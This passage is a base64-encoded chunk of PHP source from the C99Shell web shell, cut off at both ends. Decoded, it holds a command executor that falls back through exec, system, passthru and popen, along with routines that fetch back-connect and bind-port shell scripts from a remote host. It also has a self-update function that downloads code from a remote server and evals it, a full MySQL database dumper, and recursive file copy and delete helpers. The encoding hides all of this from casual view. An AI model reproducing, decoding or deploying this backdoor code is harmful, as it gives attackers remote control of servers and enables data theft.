hcyAkdikKewogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KIGlmICghZW1
wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30KfQppZiAoJHNvcnRfc2F2ZSkKewogaWY
gKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9CiBpZiAoIWVtcHR5KCRzcWx
fc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V
4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CiBpZiA
oc3RybGVuKCRjb250ZW50KSA+ICRsZW4pCiB7CiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgcmV
0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwo
gfQogZWxzZSB7cmV0dXJuICRjb250ZW50O30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3N
pemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmICghaXNfbnVtZXJpYygkc2l6ZSk
pIHtyZXR1cm4gRkFMU0U7fQogZWxzZQogewogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemU
gPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9CiAgZWxzZWlmICgkc2l6ZSA
+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiA
gZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4
iIEtCIjt9CiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogIHJldHVybiAkc2l6ZTsKIH0KfQp
9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfZGl
yKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiB
pZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1N
FUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0
gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWl
zX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9
TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBlbHNlIHskcmV0ID0gbWt
kaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVB
BUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBpZiAoISRyZXQpIHtyZXR1cm4
gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9
uX2V4aXN0cygiZnNfY29weV9vYmoiKSkKewpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkKewogJGQ
gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGF
jZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB
7bWtkaXIoZGlybmFtZSgkdCkpO30KIGlmIChpc19kaXIoJGQpKQogewogIGlmIChzdWJzdHIoJGQsLTE
pICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiA
oc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEF
SQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKIH0KIGVsc2VpZiAoaXNfZmlsZSgkZCk
pIHtyZXR1cm4gY29weSgkZCwkdCk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3R
pb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiA
kaCA9IG9wZW5kaXIoJGQpOwogaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30KIHdoaWxlICgoJG8
gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICI
uLiIpKQogIHsKICAgJHJldCA9IFRSVUU7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkF
UT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUll
fU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiR
vKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0V
QQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiA
gfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cyg
iZnNfbW92ZV9vYmoiKSkKewpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkKewogJGQgPSBzdHJfcmV
wbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLER
JUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCw
tMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGl
mIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0V
QQVJBVE9SO30KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCR
kKSkKIHsKICBpZihjb3B5KCRkLCR0KSkge3JldHVybiB1bmxpbmsoJGQpO30KICBlbHNlIHt1bmxpbms
oJHQpOyByZXR1cm4gRkFMU0U7fQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3R
pb25fZXhpc3RzKCJmc19ybWRpciIpKQp7CmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQp7CiAkaCA9IG9wZW5
kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyA
hPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbms
oJGQuJG8pO30KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGl
yKCRkLiRvKTt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcm1kaXIoJGQpOwogcmV0dXJuICFpc19kaXI
oJGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpCnsKZnVuY3Rpb24gZnNfcm1
vYmooJG8pCnsKICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKIGl
mIChpc19kaXIoJG8pKQogewogIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1I
pIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfcm1kaXIoJG8pOwogfQogZW
xzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30KIGVsc2Uge3JldHVybiBGQUxTRT
t9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkKewpmdW5jdGlvbiBteXNoZW
xsZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2FibGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbX
B0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIi
wkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZX
N1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIC
hpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKS
B7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bH
QgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2
NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKS
B7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3
VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaX
NfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2
hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcC
k7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydC
IpKSB7ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYV
skdl0sICRiWyR2XSk7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkKewpmdW5jdG
lvbiB2aWV3X3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JH
R5cGUgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9IC
JkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30KIG
Vsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogZWxzZWlmIC
goJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZS
AmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMD
AwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQogZWxzZSB7JHR5cGUgPSAiPyI7fQoKICRvd25lcl
sicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7CiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZG
UgJiAwMDIwMCk/InciOiItIjsKICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4Ij
oiLSI7CiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOwogJGdyb3VwWyJ3cm
l0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZS
AmIDAwMDEwKT8ieCI6Ii0iOwogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIj
sKICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsKICR3b3JsZFsiZXhlY3
V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7CgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZX
JbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2
RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPy
JzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbIm
V4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQoKIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam
9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3
NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKS
B7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW
9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJG
Rpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX
0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raW
xsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO3
19CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQp7CmZ1bmN0aW9uIHBhcnNlX3Blcm
1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogZW
xzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9CiBlbHNlaWYgKCgkbW
9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MD
AwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweD
YwMDApIHskdCA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID
0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogZW
xzZSB7JHQgPSAiPyI7fQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG
1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsKICRnWyJyIl0gPS
AoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXS
A9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbIn
ciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOwogcm
V0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOwp9Cn0KaWYgKCFmdW5jdG
lvbl9leGlzdHMoInBhcnNlc29ydCIpKQp7CmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkKewogJG9uZS
A9IGludHZhbCgkc29ydCk7CiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsKIGlmICgkc2Vjb25kIC
E9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZi
AoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybX
NfY29sb3IoJG8pCnsKIGlmICghaXNfcmVhZGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZW
Q+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlaWYgKCFpc193cml0YW
JsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG
8pKS4iPC9mb250PiI7fQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybX
MoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZX
Rzb3VyY2UiKSkKewpmdW5jdGlvbiBjOTlnZXRzb3VyY2UoJGZuKQp7CiBnbG9iYWwgJGM5OXNoX3NvdX
JjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgKICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW
5kcG9ydF9wbC50eHQiLAogICJjOTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50eH
QiLAogICJjOTlzaF9iYWNrY29ubi5wbCIgPT4gImM5OXNoX2JhY2tjb25uX3BsLnR4dCIsCiAgImM5OX
NoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsCiAgImM5OXNoX2RhdGFwaXBlLn
BsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwudHh0IiwKICAiYzk5c2hfZGF0YXBpcGUuYyIgPT4gImM5OX
NoX2RhdGFwaXBlX2MudHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cm
V0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTlzaF9zb3VyY2VzdXJsLiRuYW1lKTt9CiBlbHNlIHtyZX
R1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQp7Cm
Z1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWy
JjOTlzaF91cGRhdGV1cmwiXS4iP3ZlcnNpb249Ii51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkR0xPQk
FMU1sic2h2ZXIiXSkpLiImdXBkYXRlbm93PSIuKCR1cGRhdGVub3c/IjEiOiIwIikuIiYiOwogJGRhdG
EgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiBpZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb2
5uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9CiBlbHNlCiB7CiAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7Ci
AgJHN0cmluZyA9IHN1YnN0cigkZGF0YSwzLG9yZCgkZGF0YXsyfSkpOwogIGlmICgkZGF0YXswfSA9PS
AiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikge3JldHVybiAiRXJyb3I6ICIuJHN0cmluZzsgcm
V0dXJuIEZBTFNFO30KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMi
IpIHtyZXR1cm4gIllvdSBhcmUgdXNpbmcgbGF0ZXN0IHZlcnNpb24hIjt9CiAgaWYgKCRkYXRhezB9ID
09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDMiKQogIHsKICAgJHN0cmluZyA9IGV4cGxvZGUoIl
x4MDEiLCRzdHJpbmcpOwogICBpZiAoJHVwZGF0ZSkKICAgewogICAgJGNvbmZ2YXJzID0gYXJyYXkoKT
sKICAgICRzb3VyY2V1cmwgPSAkc3RyaW5nWzBdOwogICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbn
RzKCRzb3VyY2V1cmwpOwogICAgaWYgKCEkc291cmNlKSB7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdG
UhIjt9CiAgICBlbHNlCiAgICB7CiAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sInciKTsKICAgICBpZi
AoISRmcCkge3JldHVybiAiTG9jYWwgZXJyb3I6IGNhbid0IHdyaXRlIHVwZGF0ZSB0byAiLl9fRklMRV
9fLiIhIFlvdSBtYXkgZG93bmxvYWQgYzk5c2hlbGwucGhwIG1hbnVhbGx5IDxhIGhyZWY9XCIiLiRzb3
VyY2V1cmwuIlwiPjx1PmhlcmU8L3U+PC9hPi4iO30KICAgICBlbHNlIHtmd3JpdGUoJGZwLCRzb3VyY2
UpOyBmY2xvc2UoJGZwKTsgcmV0dXJuICJUaGFua3MhIFVwZGF0ZWQgd2l0aCBzdWNjZXNzLiI7fQogIC
AgfQogICB9CiAgIGVsc2Uge3JldHVybiAiTmV3IHZlcnNpb24gYXJlIGF2YWlsYWJsZTogIi4kc3RyaW
5nWzFdO30KICB9CiAgZWxzZWlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceD
A0Iikge2V2YWwoJHN0cmluZyk7IHJldHVybiAxO30KICBlbHNlIHtyZXR1cm4gIkVycm9yIGluIHByb3
RvY29sOiBzZWdtZW50YXRpb24gZmFpbGVkISAoIi4kZGF0YS4iKSAiO30KIH0KfQp9CmlmICghZnVuY3
Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpCnsKZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQp7CiBnbG
9iYWwgJHNodmVyOwogJHNvY2sgPSAkc2V0WyJzb2NrIl07CiAkZGIgPSAkc2V0WyJkYiJdOwogJHByaW
50ID0gJHNldFsicHJpbnQiXTsKICRubDJiciA9ICRzZXRbIm5sMmJyIl07CiAkZmlsZSA9ICRzZXRbIm
ZpbGUiXTsKICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07CiAkdGFicyA9ICRzZXRbInRhYnMiXT
sKICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAkcmV0ID0gYXJyYXkoKTsKICRyZXRbImVyci
JdID0gYXJyYXkoKTsKIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jay
BpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30KIG
lmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9CiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJici
A9IDA7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChlbXB0eS
gkZmlsZSkpCiB7CiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLi
JfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogfQogaWYgKCFpc19hcnJheSgkdG
FicykpIHskdGFicyA9IGFycmF5KCk7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPS
BUUlVFO30KIGlmIChzaXplb2YoJHRhYnMpID09IDApCiB7CiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA
ogICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwogIGlmIC
hteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkcm
VzKSkgeyR0YWJzW10gPSAkcm93WzBdO319CiB9CiAkb3V0ID0gIiMgRHVtcGVkIGJ5IEM5OVNoZWxsLl
NRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1CiMKIyBIb3N0IHNldH
RpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbm
cgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLi
IKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IG
NvdW50KCRvbmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheS
gkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIk
RST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3
IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIF
RBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteX
NxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJH
Jlcyk7CiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YX
JpYWJsZXMKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jay
k7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93I
D0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsI
GAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKI
CAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkd
ik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gI
klOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7C
iAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsI
CJ3Iik7CiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlI
CgkZnAsICRvdXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyY
nIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9C
mlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfY
